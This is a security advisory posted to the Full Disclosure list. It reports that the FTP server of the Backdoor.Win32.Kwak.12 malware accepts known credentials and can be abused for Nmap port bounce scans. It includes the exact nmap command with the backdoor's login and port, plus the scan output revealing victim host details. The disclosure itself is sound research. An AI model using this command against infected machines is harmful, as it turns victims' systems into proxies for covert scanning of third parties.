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Date: Thu, 25 Mar 2021 23:52:25 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.Kwak.12 / Port Bounce Scan

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.Kwak.12
Vulnerability: Port Bounce Scan
Description: The backdoor runs an FTP server that listens on TCP port
37885. Third-party adversaries can abuse the server as a man-in-the-middle
machine allowing PORT Command bounce scan attacks using Nmap. This
vulnerability allows remote attackers to abuse your system and discreetly
conduct network port scanning. Victims will then think these scans are
originating from the infected system running the afflicted malware FTP
Server and not you. This is easily accomplished as the malware also suffers
from a authentication bypass issue reference MVID-2021-0147.
Type: PE32
MD5: c25393545e5ead3a35996ef9a887bd34
Vuln ID: MVID-2021-0148
Dropped files:
Disclosure: 03/25/2021

Scanning ports 23,79,80 using Nmaps port bounce feature.

nmap -n -Pn -b pbarbar:pbarbar@....168.88.128:37885
 -p23,79,80  -v
Starting Nmap 7.80 ( ) at 2021-03-25 18:47 Pacific
Daylight Time
Resolved FTP bounce attack proxy to (
Attempting connection to ftp://pbarbar:pbarbar@....168.88.128:37885
Connected:220 Enter Login
Computer Name: DESKTOP-2X3IHHP
Local IP:
User On This Computer: victim
Drive C: 14.97 Gb Free

Login credentials accepted by FTP server!
Initiating Bounce Scan at 18:47
Discovered open port 80/tcp on
Completed Bounce Scan at 18:47, 2.10s elapsed (3 total ports)
Nmap scan report for
Host is up.

23/tcp closed telnet
79/tcp closed finger
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
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the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) (TM).

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